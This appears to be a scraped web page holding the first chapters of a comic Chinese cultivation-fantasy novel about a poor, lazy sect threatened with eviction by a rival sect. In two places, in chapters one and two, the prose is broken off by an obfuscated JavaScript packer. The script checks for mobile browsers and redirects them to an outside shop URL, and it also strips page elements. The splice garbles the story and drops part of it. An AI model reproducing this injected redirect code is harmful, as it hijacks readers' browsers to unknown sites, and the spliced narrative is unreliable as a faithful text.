《我靠算命养宗门》 1. 隔壁来踢馆了 清晨的阳光,懒懒散散地洒在躺平宗那扇堪称寒酸的山门上。 说是山门,都算是抬举。 不过两根歪歪扭扭的旧木桩,顶着块摇摇欲坠的木匾,上面刻着三个大字: 躺平宗。 “平”字那一横早掉了半边,远远望去,倒像是“躺干宗”。 匾下,祁幻抱着那本封面写着《躺平宗破产日记》的账本,仰头望着破匾,表情已经麻木。 “掌门,”他平静地开口,“我们真的没钱修牌匾了。” 典星河躺在主殿门口那把只剩三条腿的摇椅上,第四条腿勉强用块石头垫着。她眼都没睁,语气敷衍得理直气壮。 “不用修,这样挺好,有历史感。” “历史感?” 祁幻哗啦一声翻开账本,一条条念得清清楚楚: “上月柴火钱五十文,米钱一百二十文,穆师姐买种子二百文,宋小师妹炸茅房,赔了隔壁村三两银子——” “等等。”典星河终于掀开一只眼,“炸茅房,为什么赔隔壁村?” “茅房顶飞过去了。”祁幻面无表情,“砸中了他们猪圈,猪受惊,跑了三头。” “……” 典星河默默把眼睛闭上。 “找回来了吗?” “找回来两头。还有一头冲进青云宗,被他们扣下了,说是‘入侵妖兽’,要十两银子才肯赎。” 典星河沉默片刻,轻轻叹了口气。 “那头猪……叫什么来着?” “它叫五花。”祁幻翻了一页,“穆师姐取的,说养肥了吃肉。” “五花啊……”她怅然一叹,“是头好猪。告诉青云宗,我们出不起十两,让他们留着吧,就当……联姻了。” 祁幻面无表情地咬着袖口,在账本上郑重记了一笔: “五花嫁入青云宗,嫁妆:无。损失:一头猪。” 同一时间,灵田。 穆惇蹲在地上,正小心翼翼给一株灵草施肥。 这株灵草据说是上古遗种,开花能卖一百两——这话是祁幻说的。穆惇不懂什么上古不上古,她只看这东西长得像萝卜,便按着种萝卜的法子伺候,如今果然长得跟萝卜一样敦实。 “乖,多吃点,长胖点。”她轻声道。 旁边一阵窸窸窣窣。 穆惇头都没回:“牧殇,你又来偷吃?” “我没有偷吃!”牧殇从田埂另一头冒出来,嘴里还嚼着东西,理直气壮,“我是在试吃!万一有毒呢?我得替你们试毒!” 穆惇淡淡瞥了一眼他手里的东西。 “你吃的是种子。” “……” 牧殇低头看了看手里的渣,又看了看地上被刨出来的坑。 “我说怎么嚼不动。” 他沉默一秒,若无其事强行转场: “诶穆师姐,你听说没?隔壁青云宗最近卷疯了。昨天有个弟子凌晨两点起来练剑,练到一半直接晕过去,抬回去醒来第一句是——‘我今天KPI完成了吗’。” 穆惇没接话,继续施肥。 “还有他们掌门,昨天发了个朋友圈。” 牧殇见她茫然,补充道,“就是那个身份玉简,输灵力能开光幕,全修仙界联网,叫仙网。” 穆惇低头看了眼自己腰间那块长满青苔的玉简——她平时只拿来当天气预报,下雨前会闪。 “他说什么?” “他说‘修仙如逆水行舟,不进则退’,配图是凌晨三点打坐的照片。”牧殇啧啧两声,“底下全是夸他勤奋的,就我小号评论了一句‘掌门黑眼圈都出来了,早点睡吧’,直接被拉黑。” 穆惇手上动作一顿。 “你加了他好友?” “没有啊,我用小号。”牧殇一脸得意,“我有十七个小号,天天混他们宗门论坛。《修炼交流》《宗门八卦》《渡劫求助》,我专在《修炼交流》里灌鸡汤:累了就休息,修仙不是为了卷,你今天真好看……他们都叫我修仙界第一暖男。” “……你闲的。” “我这是普度众生!”牧殇义正词严,“那些卷王被KPI压得多可怜,我给他们送温暖!” “你种子吃完了。” 牧殇低头,手里空空如也。 “……” 穆惇终于抬眼,面无表情地看着他。 牧殇默默后退一步。 “穆师姐,你听我解释——” 穆惇抡起了锄头。 主殿门口。 典星河的摇椅忽然轻轻一震。 她睁眼,望向山门方向。 远处烟尘滚滚,一群人正御剑而来,气势汹汹。 “祁幻。” “在。” “去把那头猪的卖身契准备好。” “啊?” 典星河难得坐直了身子。 “有客人来了。”她淡淡道,“而且是,来者不善的那种。” 祁幻顺着她的目光望去,那群人已近在眼前。为首是个踩着镶钻飞剑的白衣青年,落地前还刻意摆了个潇洒姿势。 身后二三十号人,个个面色不善。 “躺平宗的人呢?”青年掸了掸衣袖,高声道,“出来接客!” 典星河纹丝不动。 “我们这不接客,只接缘分。有缘人免费,无缘人请回。” 青年一怔:“什么意思?” “意思就是——”典星河随意掐了掐手指,张口就胡诌,“我刚算了一卦,你今天有血光之灾。” “什么?!” “别紧张。”她摆摆手,“不是大灾,就是会被蚊子咬。我们这山蚊子多,你站着别动,一会儿就知道了。” 青年脸都绿了。 “你——”他深吸一口气,强行维持风度,“我不跟你废话!我是青云宗首席弟子白鹤鸣,奉掌门之命前来通知你们——” 他展开一张纸,朗声道: “鉴于躺平宗长期拖欠周边宗门互助费、护山大阵维护分摊费、灵气资源使用费等共计三百七十二项费用,经青云宗长老会决议,即日起收回躺平宗土地使用权,用以建设——” 他顿了顿,有点不好意思念下去。 “建设什么?”典星河好奇。 “……停车场。” 全场死寂三秒。 祁幻手里的账本“啪嗒”掉在地上。 典星河脸上的散漫,第一次出现了裂痕。 “你们要拿我们宗门的地……盖停车场?” “对。”白鹤鸣挺胸,“你们这位置好,平坦又近主峰,最适合停车。以后来我们青云宗办事的,飞剑都停你们这,多方便。” 典星河张了张嘴,一时竟无言以对。 就在这时—— “谁敢动我的灵田?!” 一道身影从灵田方向冲来,手里抡着锄头,浑身泥点。 是穆惇。 她冲到白鹤鸣面前,锄头往地上一杵,地面应声裂开一道细缝。 “你刚才说什么?停车场?停哪?” 白鹤鸣被她这股悍然气势吓了一跳,下意识后退。 “就、就整个山头……都要推平……” 穆惇眼睛微微眯起。 “你知不知道,”她一字一顿,“我刚施过肥?” “啊?” “我昨晚一担一担挑的农家肥,浇了整整三亩灵田。”穆惇声音越来越沉,“你今天跟我说,要推平?” 白鹤鸣硬着头皮:“这、这是长老会决议,你们必须执行!” “执行?” 穆惇抡起锄头,对着他那柄镶钻飞剑狠狠砸下。 “砰——” 飞剑应声断成两截,剑尖插进土里,剑柄还在白鹤鸣手里微微发抖。 全场死寂。 穆惇将锄头往肩上一扛,眼神冷冽。 “还有谁?” 无人敢动。 远处,牧殇不知何时蹲在石头后面,嗑着不知从哪摸来的瓜子,看得津津有味。 “穆师姐牛啊。”他小声嘀咕,“这一锄头下去,那剑起码得修半年。” 话音刚落,白鹤鸣身后人群里,骤然掠出一道苍老身影。 青云宗太上长老。 他一掌直拍穆惇。 穆惇刚举起锄头—— “慢着。” 一道懒洋洋的声音响起。 典星河不知何时已从摇椅上站起,挡在穆惇身前。 她望着那老者,随意掐了掐手指。 “你……”她皱了皱眉,“你谁啊?” 老者一滞:“老夫乃青云宗太上长老——” “算了,不重要。”典星河打断他,“我给你算一卦吧。” “什么?” “我算你——”她指尖微顿,表情难得认真一瞬,“今天会遇到一个,让你改变主意的人。” 老者皱眉:“胡说八道!” “我没胡说。”典星河抬了抬下巴,指向他身后,“你看,那人来了。” 老者回头。 所有人都回头。 山门外的土路上,一个身着灰布旧袍的人慢悠悠走来,青丝如雪,容貌清绝。 穿得跟眼前这太上长老差不离,气质却天差地别。 两个“灰袍人”对视一眼。 空气忽然安静。 “你是谁?”青云宗太上长老沉声道。 “我?”后来者笑了笑,掏出一把瓜子嗑了一颗,“就是个路过的。你们继续,不用管我。” “路过?这荒山野岭,你路过什么?” “嗑瓜子。”对方理直气壮,“这地方太阳好,适合嗑瓜子。” 太上长老嘴角抽了抽。 “你是哪个宗门的?” “无门无派。”那人道,“一个人四处走走,见你们在争执,便停下来看看热闹。” 他目光一转,落在门口的小丫头身上。 宋栀子抱着一把奇奇怪怪的扫帚,正睁着大眼睛好奇张望。 “小丫头。”他笑得温和,“你那扫帚……挺有意思。” “你喜欢?”小丫头眨眨眼,“我送你一把?” “真的?”他眼睛一亮。 “真的,不过现在只有这一把。”宋栀子举起扫帚,“你要不要试试?” 他刚要开口—— “够了!!” 青云宗太上长老一声怒喝,打断了两人。 “老夫不管你是谁!今日之事,躺平宗必须给个交代!”他指着典星河,“要么自己搬走,要么我们帮你们搬!” 典星河轻轻叹了口气。 她转过身,看向身后几人。 穆惇扛着锄头,一脸“谁动我地我跟谁拼命”。 牧殇不知何时站到她身侧,手里还攥着瓜子,嬉笑却已不见。 祁幻抱着账本。 宋栀子站在最后,抱着扫帚,看起来最是无害—— 可她的手指,已经悄悄按在了扫帚的某个开关上。 典星河忽然笑了。 “青云宗太上长老是吧。”她轻声问,“我问你一个问题。” “说。” “你们卷了多少年了?” 老者一怔:“什么意思?” “就是说——”典星河歪了歪头,“从早练到晚,从年头卷到年尾,KPI、任务、考核、排名……你们这么卷,到底是为了什么?” “自然是为了飞升!” “飞升之后呢?” “飞升之后——”老者卡壳了。 典星河笑得更明亮了些。 “你看,你也不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哈哈哈哈!”他笑得像个孩子,“有意思!太有意思了!” 典星河望着他,下意识再次掐起手指。 指尖,竟微微发烫。 她怔住了。 “掌门?”祁幻凑过来,“怎么了?” 典星河看着自己的指尖,又看了看那个笑得开怀的人。 “没什么。”她轻声道,“就是突然觉得……这卦,好像有点准了。” 远处,归尘的笑声,在这座破破烂烂的小宗门上空轻轻飘荡。 穆惇看了看他,又看了看自己的锄头。 “这人谁啊?” 牧殇凑到她耳边,声音难得认真: “渡劫期。” “什么?” “渡劫期。”牧殇压低声音,“刚才那一下灵力波动……错不了。” “……” 所有人都沉默了。 一个渡劫期大能,路过他们这破山头,嗑瓜子、看热闹、顺手赶跑了敌人。 就为了—— 试一把会唱歌跑调的扫帚? 祁幻默默咬着袖口,在账本上又添一笔: “今日新增人口:1人。姓名:归尘。修为:???。饭量:未知。开销:待定。” 他抬头,看向还在蹲地上玩扫帚的归尘。 “掌门,我们能养得起吗?” 典星河想了想,坦然道: “养不起。” “那你还留他?” 典星河笑了,转身走回自己那三条腿的摇椅。 “你看他那样子,像在乎吃不吃饭的人吗?” 祁幻顺着她的目光望去。 归尘正蹲在地上,用扫帚逗着一只路过的蚂蚁,笑得像三岁小孩。 “……” “再说了。”典星河躺下,闭上眼睛,阳光落在她脸上,温柔而安稳。 “一个渡劫期的大佬,愿意留在咱们这破地方……” 她轻轻弯起嘴角。 “你不觉得,这才是我们最大的挂吗?” “这一卦,我算对了。” 【章末小剧场·躺平宗摸鱼群】 钱多多(祁幻):@所有人 今日新增人口1人,姓名归尘,修为疑似渡劫期,饭量未知,开销待定。大家有什么想说的? 李翠花(穆惇):他踩我灵田了吗? 钱多多:没有。 李翠花:那没事了。 赵铁柱(牧殇):他嗑的什么瓜子?我也想嗑。 钱多多:…… 王甜甜(宋栀子):归爷爷说我的扫帚超好玩!(???) 钱多多:你们能不能关注一下重点?! 渡劫期啊!渡劫期大佬住咱们这!万一他不高兴一巴掌把山拍平怎么办?! 典星河:不会的。 钱多多:你怎么知道? 典星河:我算过了。 钱多多:你算的卦我不敢信,你说的话我不敢听。 典星河:…… 典星河:恶语伤人心,你伤到我了。 赵铁柱:@典星河掌门别伤心,我相信你! 典星河:还是牧殇对我好。 赵铁柱:你算的卦虽然不准,但你这个人准啊! 典星河:…… 典星河:撤回。 赵铁柱:不撤。 王甜甜:哈哈哈哈哈哈哈哈 李翠花:。 钱多多:我申请退群。 (系统提示:群主不允许任何人退群。) 钱多多:…… 钱多多:我真服了你们! 2. 茅房它又炸了 归尘正式入住躺平宗的第一个早晨,是被一声巨响吵醒的。 “砰——!” 烟尘冲天。 他睁开眼,发现自己躺在一间漏雨的柴房里。这是昨晚祁幻给安排的住处,理由理直气壮:“客房塌了还没修,柴房至少顶是好的。” 归尘倒也不挑。 三千年里,他睡过山洞、睡过树梢、睡过妖兽窝,甚至在冬眠的熊妖肚皮上凑合一宿。柴房有顶有墙,对他而言已经算豪华标间。 他坐起身,侧耳一听。 外面脚步声乱作一团,还夹着祁幻濒临崩溃的嘶吼: “又炸了?!又炸了!!” 归尘眼睛一亮。 他抓起那把宋栀子送的、会跑调唱歌的扫帚,快步走出柴房。 事发地点:茅房。 准确说,是茅房的原址。 此刻只剩一个冒着黑烟的大坑,直径三丈,深过一人高。边缘散落着焦黑木板,有些还在噼啪燃烧。 空气中飘着一股极其复杂的味道——烧焦木头、可疑发酵气、再加上宋栀子发明专属的“灵气烧糊了”的气息。 坑边站着五个人,表情堪称行为艺术: 祁幻双手抱头,账本掉在地上,整个人像条被扔上岸的鱼,嘴张了又合,合了又张,濒临窒息。 穆惇面无表情,锄头却握得指节发白,目光死死钉在坑里——那是她三个月亲手养的灵草,如今只剩半片焦叶。 牧殇蹲在坑边伸脖子张望,一脸考古发掘的认真,甚至伸手拨了拨土。 典星河靠在歪脖子树上,打着哈欠,衣服皱巴巴,头发翘着一缕,明显是被吵醒后梦游出来的。 而坑正中央,站着小小的宋栀子。 浑身是灰,脸沾黑印,头发炸成蒲公英,怀里抱着一根滋滋冒烟的管子,眼睛眨巴眨巴,一脸无辜。 “……” 祁幻深吸一口气,那口气长得仿佛要吞掉整座山,再颤巍巍吐出来: “宋、栀、子。” “在!”小丫头举手。 管子随之一晃,又窜出一串火星。 “你告诉我——”祁幻指着废墟,手指抖得像风中柳条,“这是第几次了?” 宋栀子歪头掰手指: “第一次是茅房,第二次是茅房,第三次是茅房,第四次是厨房,第五次是茅房,第六次——” “停!” 祁幻按住突突直跳的太阳穴,“你就说——这是第几次炸茅房。” “第四次。”宋栀子乖巧应声,又飞快补刀,“不过这次真的不怪我!” “不怪你?!” 祁幻声音直接劈叉,高音比雷劫还尖锐, “你站在坑里!抱着冒烟的东西!四周全是茅房碎片!你说不怪你?!” 宋栀子低头瞅了瞅怀里的管子,认真解释: “因为这次是它想炸的。” “……” 祁幻猛地转向典星河,眼神是溺水者最后的求救: “掌门!你说句话啊!” 典星河打了个哈欠,慢悠悠晃过来,每一步都写着“我还能再睡一百年”。 她低头看了眼坑,又看了眼管子,最后落在小丫头灰扑扑的脸上。 “栀子啊,”她轻声问,“这是什么?” 宋栀子眼睛瞬间亮了,举着管子像展示稀世珍宝: “这是新发明!我叫它灵气增压喷射器!把灵气压缩进去,一次性喷出来,推力超大!理论上能给飞剑加速,也可以——呃——” “也可以用来炸茅房?”典星河顺口接。 “不是!”宋栀子急得跺脚,脚下碎片咯吱响, “我是测推力!特意选茅房后面空地!但是茅房它……它挡在那儿了!” 穆惇终于开口,声音平静得像一潭死水: “所以你把喷射器对准了茅房?” “我对着天!”宋栀子急得比划,“这样——对着天!可是后坐力太大,我没抱住,管子掉下来——弹了一下——正好掉进茅房里——然后——” 她双手一摊。 “砰。” 全场死寂。 牧殇从坑边站起来,拍了拍灰,若有所思: “所以茅房是被后坐力炸的,还是被管子炸的?” 宋栀子认真思索:“都有吧。后坐力让它倒了,管子让它炸了。” “有道理。”牧殇点头,“双保险。” “不是双保险!”祁幻怒吼,“是双倍损失!” 他蹲下去捡起湿透的账本,心疼地擦了擦,颤巍巍写下: “第四次茅房爆炸。损失:茅房一座。灵草三株,含穆师姐心头肉一株。赔偿:未知。情绪:想死。非常想死。现在就死。” 他抬头看向典星河,眼神空洞如深渊。 “掌门,咱们宗门现在就剩一个茅房了。 上一个被你炸了,这一个也被你炸了。接下来怎么办?大家一起——” 他顿住,实在说不出口。 “拉野屎吗?”牧殇贴心补完。 祁幻瞪他,却没反驳。 典星河还没开口,角落里忽然插进来一道声音: “那个……我插一句。” 众人齐齐转头。 归尘站在柴房门口,手握扫帚,白发随意束起,神情认真。 站得笔直,却莫名透出一股我有点急的气息。 “你们刚才说,”他指向大坑,“这是茅房?” “对。”祁幻有气无力。 “炸了?” “对。” “那我想问——”归尘斟酌了一下措辞, “我早上起来,还没来得及……” 话没说完,所有人都懂了。 空气骤然安静。 静得能听见余烬轻响,能听见远处鸟鸣,能听见宋栀子怀里管子最后一声“咻”。 宋栀子眨眨眼,一脸天真: “归爷爷,你还没上厕所吗?” 归尘没说话,但表情已经说明了一切。 那是一种极其复杂的神情—— 三分尴尬,三分无奈,三分“我活三千年从没见过这阵仗”,还有一分我现在真的很急。 牧殇第一个绷不住,“噗”一声笑出来。 一笑就收不住,蹲在地上肩膀狂抖,发出“噗噗噗”的漏气声。 穆惇嘴角狠狠抽了抽,猛地转头。 从背影看,肩膀也在微微颤抖。 典星河靠在树上,慵懒表情彻底崩了,用手捂住嘴,笑声还是从指缝漏出来,“嗤嗤嗤”像漏气皮球。 祁幻愣了三秒。 表情从崩溃→茫然→理解→憋笑→彻底破功—— “哈哈哈哈哈哈哈哈!!” 他笑得蹲在地上,账本都扔了,眼泪飙出来,一手撑地一手拍大腿,发出鹅叫般的狂笑。 “渡劫期!渡劫期大佬!来咱们宗门第一天!找不到茅房!哈哈哈哈哈哈!!” “刚才我还在想——这日子没法过了——现在我觉得——值了!这辈子值了!!” 归尘站在原地,扫帚杵地,表情一言难尽。 他看着这群笑得东倒西歪的人,沉默片刻,平静发问: “所以,我现在去哪儿?” 笑声戛然而止。 五个人面面相觑。 对啊,去哪儿? 宋栀子第一个反应过来。 她从坑里手脚并用地爬出来,被牧殇一把拽上去,拍掉灰,立刻跑到归尘面前,仰着小脸。 “归爷爷你别急!”她眼睛亮得像星星,“我给你造一个临时的!” “造?”归尘低头。 “对!”宋栀子用力点头,灰簌簌往下掉, “用竹子搭简易的,再加净化法阵,环保又方便!而且——” 她郑重强调: “不会炸。” 祁幻笑声骤停。 “不会炸?”他猛地抬头,一丝希望闪过,又迅速被怀疑覆盖,“你确定?” 宋栀子点头,小脸写满真诚:“这个真不会,没用到灵气。” “没用到灵气?” “对!纯物理结构!竹子搭的!最多塌,不会炸!” 祁幻将信将疑。 他环顾一圈——唯一的茅房已经变成坑,方圆十里,天上飞的都比地上能用的多。 再看归尘。 这位大佬依旧平静,可祁幻莫名读出一层: 再等下去,可能要出大事。 他叹口气,认命般站起身,拍掉裤子上的泥。 “行吧。”他声音平静得像放弃挣扎,“我去砍竹子。” 牧殇举手:“我帮你!” 穆惇没说话,已经扛着锄头往竹林走,走得飞快,像是在逃离某个关键词。 典星河伸了个懒腰,慢悠悠跟上,走两步回头一笑: “前辈,您稍等,很快的。” 归尘点头。 宋栀子拽着他袖子:“归爷爷走,我带你去个好地方!有块大石头,风景超好!” 归尘被她拉着往前走,回头望了眼还在冒烟的坑,又看了看坑边那半片焦黑的灵草叶。 三千年了。 他见过仙魔大战,见过秘境崩塌,见过雷劫劈碎山岳,见过化神修士自爆金丹。 但从没见过—— 茅房能被炸成这样。 更没见过—— 一个渡劫期大能,因为茅房被炸,被一群连筑基都没到的小辈围观笑话。 他轻轻笑了。 “有意思,”他低声说,“真有意思。” 半个时辰后。 竹林边,一座简易竹棚立了起来。 说是棚子,都算抬举—— 四根粗竹竿插地,撑一个竹条编顶,四面透风,门是一块破布,还是祁幻从自己床上扯下来的。 宋栀子围着它转了好几圈,敲敲这根,摇摇那根,最后满意点头。 “好了!” 祁幻擦着汗,看着这作品,表情复杂到凝固: “这……能行吗?” “当然能!”宋栀子理直气壮, “竹子透气,夏天不热;四面通风,不会臭;最关键的是——” 她拍着竹竿,梆梆响。 “没有灵气,就不会炸。” 祁幻沉默了。 这东西简陋得心酸,说是茅房,不如说是四面透风的竹篓。 可“不会炸”这三个字,实在太有说服力。 他看向归尘,语气卑微:“前辈,您……将就一下?” 归尘看了看棚子,又看了看宋栀子亮晶晶的眼睛。 破布门帘在风里呼啦响,从外面能清晰看见里面——一块平整石头,铺着干草,旁边放一小捆草纸。 但小丫头一脸“快夸我快夸我”。 归尘笑了。 “挺好。” 他掀开布帘走了进去。 布帘落下,勉强算遮了视线——虽然只是心理上的,毕竟四面透风,里面干什么外面都能看见轮廓。 外面五个人站成一排,安静等待。 一息。 两息。 三息。 牧殇小声嘀咕:“你们说,渡劫期大佬上厕所,和我们有什么不一样吗?” 祁幻瞪他:“闭嘴。” “我就是好奇嘛!”牧殇不服,“渡劫期啊!半只脚进仙界了!能一样吗?” 穆惇忽然开口,语气平静得像报天气: “可能不用蹲。” 典星河来了兴致:“为什么?” 穆惇:“飞升了。” 典星河认真想了想,点头:“有道理。飞升了确实不用蹲。” 宋栀子举手,一脸严肃: “那我下次给归爷爷造一个悬浮式的!直接飘在空中那种!” 祁幻刚要吼—— 布帘掀开。 归尘走了出来,神情依旧淡然。 他看了眼面前五张表情各异的脸——好奇、憋笑、紧张、还有祁幻那种“求求您别生气”的卑微。 又看了看那座竹棚。 “挺好。”他顿了顿,补充,“就是有点风。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387663|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >牧殇忍不住凑上前,压低声音,一副“男人之间聊聊”的模样: “前辈,渡劫期上厕所,真的和我们不一样吗?” 归尘淡淡看了他一眼。 那一眼无威无压,简简单单。 可牧殇瞬间后背发凉。 “你想试试?”归尘问。 “不不不不!”牧殇疯狂摆手后退,“我就是随口一问!随口一问!” 归尘笑了笑,没再理他。 他走到一旁,找块平整石头坐下,从怀里掏出一把瓜子,慢慢嗑。 “咔。” “咔。” “咔。” 一颗一颗,不紧不慢。 阳光落在身上,暖洋洋的。 他眯起眼,看着那五个人收拾残局—— 祁幻蹲在坑边,对着账本写写画画,嘴里念念有词,算着又亏了多少。 穆惇在清理碎片,利落挑出能用的木板,还把那株焦黑灵草小心挖出来,揣进怀里。 牧殇搬着竹子,嘴就没停过,从祁幻频频回头瞪他的样子看,肯定没好话。 宋栀子蹲在那根冒烟管子旁,拿小锤子敲敲打打,偶尔窜出火星,吓得祁幻吼一嗓子,她再无辜眨眼,继续敲。 典星河靠在树上,说是监工,其实在晒太阳。 阳光落在她脸上,眼半眯,嘴角带着浅浅笑意。 吵吵闹闹。 乱七八糟。 归尘嗑下一颗瓜子。 “师父,”他轻声说,低得只有自己听见, “您说的家……是不是就长这样?” 无人回应。 风从竹林吹来,带着竹叶清香,还有一丝若有若无、来自那个坑的味道。 归尘又嗑一颗。 远处传来祁幻的怒吼:“宋栀子!把那根管子放下!不许再试了!!” 宋栀子软糯糯飘过来:“我就看看——” “看看也不行!!” 牧殇插嘴,笑得欠欠的:“让她试试嘛,万一这次能飞呢?” “飞什么飞!上次她也说能飞,结果厨房炸了!” “厨房炸了又不是茅房——” “牧殇你给我闭嘴!!” 归尘笑了。 他继续嗑瓜子。 风吹竹林,沙沙作响。阳光透过叶隙洒下,在地上投出斑驳光影。远处几人还在吵,声音忽高忽低,间或夹着几声笑。 破破烂烂的小山头,一群人吵着闹着,阳光正好。 归尘抬头望向天空。 三千年,他走过无数地方,见过无数风景,遇过无数人。 却从没有一个地方,让他想这样安安静静坐下,嗑着瓜子,慢慢看。 “师父,”他轻声再道, “我好像……找到了。” 【章末小剧场·躺平宗摸鱼群】 钱多多:@所有人 今日支出:新建茅房竹子钱五十文。宋栀子发明材料费八十文。穆师姐灵草补偿——她自己说不用,但我记着。合计一百三十文。 本月预算严重超支。濒临破产。 赵铁柱:等等,为什么宋栀子的发明也算公账? 钱多多:她说这是“宗门公共设施改良项目”。 王甜甜:本来就是!我给归爷爷造的临时茅房多好用!通风!环保!不会炸! 李翠花:透风。 王甜甜:……透风是优点! 赵铁柱:透风的意思是,你在里面干什么,外面听得一清二楚。 王甜甜:…… 典星河:@宋栀子,下次加个隔音阵。 王甜甜:好嘞!我正好有新想法——掌门懂我。 钱多多:等等!加隔音阵不要钱吗?! 典星河:从你下个月零花钱里扣。 钱多多:我哪有零花钱?! 典星河:那就从你下辈子零花钱里扣。 钱多多:…… 赵铁柱:哈哈哈哈哈哈 李翠花:。 王甜甜:掌门英明!(???) 归尘:(新人入群)这个怎么用? 钱多多:前辈您什么时候进来的?! 归尘:刚才。小丫头帮我弄的。 王甜甜:我给归爷爷注册的玉简!还帮他更了系统!他那个古董版三千年没更,我点了二百三十七次确认才弄好! 钱多多:…… 赵铁柱:前辈!欢迎欢迎!要不要我拉你进几个好玩的分组?我有十七个小号—— 归尘:不用。我就看看。 典星河:@归尘,习惯吗? 归尘:挺好。 典星河:那就行。 归尘:对了,那个瓜子,谁有多的? 赵铁柱:我有!前辈我给您送过去!我藏了两包,在—— 钱多多:@赵铁柱,你瓜子哪来的?买的?记账了吗? 赵铁柱:…… 赵铁柱:那个……我先下了!前辈待会见! (系统提示:用户“赵铁柱”已离线) 钱多多:@赵铁柱!你给我回来!!那瓜子是不是用公账买的?! (系统提示:用户“赵铁柱”已离线,无法接收消息) 钱多多:…… 典星河:哈哈哈哈 李翠花:。 王甜甜:哈哈哈哈哈哈 归尘:哈哈 钱多多:你们都笑什么?!这个月预算真的超了!超了你们知道吗!! 典星河:知道啊。 钱多多:那你们还笑?! 典星河:反正又不是第一次超。 钱多多:…… 钱多多:我申请退群。 (系统提示:群主不允许任何人退群。) 钱多多:…… 王甜甜:三师兄别伤心,明天我发明成功了,卖了钱都给你! 钱多多:你哪次发明成功过? 王甜甜:……恶语伤人心。 王甜甜:归爷爷,你的瓜子分我一点呗? 归尘:来。 钱多多:你们——!!! 3. 前辈,你是哪来的? 归尘在躺平宗,待了整整三天。 这三天里,他做得最多的事,就是——蹲在角落里,嗑着瓜子,看热闹。 第一天,他看完了宋栀子从炸茅房到重建茅房的全过程。 第二天,他看完了牧殇试图用嘴遁说服一只野兔入宗,结果兔子听完头也不回跑掉,牧殇追出二里地,最后摔进沟里。 第三天,他看完了祁幻跟隔壁村王屠户为三文钱砍价两个时辰,屠户崩溃跑路,祁幻得意宣布“省了三文”,转头就被典星河戳穿——那三文,是他自己记错账多出来的。 每一件事,他都看得津津有味。 瓜子嗑了一包又一包。 牧殇不知道从哪儿源源不断供货,祁幻每次追问瓜子来路,牧殇都秒遁。 日子过得平静又荒诞。 直到第三天傍晚。 夕阳西下,把破破烂烂的躺平宗,染成一片温柔的暖橙。 五个人加一个归尘,难得聚在主殿门口—— 实在是,这里是全宗门唯一能坐下六个人的地方。 说是主殿,不过是一间漏雨的大屋,一张垫着石头的歪腿桌子,几条高矮不齐的板凳,墙角堆着乱七八糟的杂物。 此刻,六个人围桌而坐。 桌上摆着今日晚饭: 一盆萝卜汤,一筐杂粮馒头,一小碟咸菜。 萝卜是穆惇种的,馒头是祁幻买的,咸菜是宋栀子发明失败的副产品,意外能吃,还挺香。 牧殇夹起一块萝卜嚼了嚼,眼睛一亮: “穆师姐,你这萝卜越来越绝了!又甜又脆!” 穆惇面无表情喝汤:“嗯。” 典星河咬了口馒头,慢悠悠补刀: “那当然,她天天用灵气浇,能不好吗。” 祁幻猛地抬头:“什么?!用灵气浇?!” 穆惇淡淡看他一眼:“就一点点。” “一点点也是灵气!”祁幻放下筷子,掰着手指急吼, “你知道现在灵石多贵吗?你知道你这是在烧钱吗?你知道——” “知道。”穆惇平静打断。 “知道你还——” “萝卜好吃吗?” 祁幻一怔。 他低头看了看碗里的萝卜,又看了看穆惇那张平静到不讲理的脸。 “……好吃。” “那就行了。” 祁幻张了张嘴,半天没憋出一个字。 牧殇在旁边笑得拍大腿:“哈哈哈哈祁幻你又被堵死了!” 宋栀子咬着馒头,笑眯眯看热闹。 典星河继续喝汤,仿佛什么都没发生。 归尘坐在最边上,端着碗,吃得很慢,却每一口都认真,像是在品尝世间珍馐。 饭菜普通,馒头偏硬,咸菜略咸。 可他吃得很香。 三千年了,他已经太久太久,没有和人一起吃过一顿安稳饭。 祁幻被噎了一顿,扒拉几口饭,忽然抬头看向归尘。 “前辈,”他小声开口,“我一直想问您个问题。” 归尘抬眼:“嗯?” “您……以前是哪个宗门的?” 这话一出,所有人动作都顿住。 典星河端碗的手微微一停。 穆惇的目光,轻轻落在归尘身上。 牧殇脸上的嬉笑,一点点收了起来。 宋栀子眨眨眼,歪头看看这个,看看那个。 气氛忽然安静。 归尘沉默片刻,轻轻吐出一个名字: “上古躺平宗。” 空气瞬间凝固。 祁幻的筷子“当啷”掉在桌上。 牧殇张大了嘴,半天合不拢。 穆惇眼神骤然一缩。 典星河缓缓放下碗,定定看着他。 只有宋栀子一脸茫然,小声问: “那是什么呀?” 没人回答她。 好一会儿,祁幻才找回声音,干得发涩: “上……上古躺平宗?就是传说里……三千年前……” “一夜之间……” “嗯。” 归尘语气平淡,像在说今天天气不错。 可每个人都听得出来,那平静底下,压着三千年的重量。 典星河望着他,声音轻而稳: “前辈,您那时候……” “我是最小的弟子。”归尘轻声说,“师父最疼的那个。” 他顿了顿,嘴角浮起一丝极淡、极遥远的笑。 “那时候的躺平宗,比现在大得多。 一百多个弟子,七座山峰,有灵脉,有护山大阵,有藏书阁,有炼丹房……” 他望向远方,目光穿过破旧主殿,穿过歪斜山门,穿过漫长时光。 “师父是个很有意思的人。他从不逼我们修炼,只说: ‘修仙是为了活得长,活得长是为了多享受。 你们要是为了修仙把自己累死,那还不如不修。’” 牧殇忍不住小声问:“那你们平时都干什么?” 归尘笑了:“玩啊。种花,养鱼,下棋,喝酒,聊天,晒太阳……和现在差不多。” “那后来……”祁幻小心翼翼开口,“怎么会……” 归尘沉默了很久。 久到夕阳彻底沉落,天色暗下,宋栀子跑去点起那盏她发明的、永远不灭的小灯。 昏黄灯光,轻轻落在每个人脸上。 “因为有人,不想让我们这么过。” 归尘终于开口,声音平静得像一潭深水, “那时候的修仙界,也卷,比现在还卷。 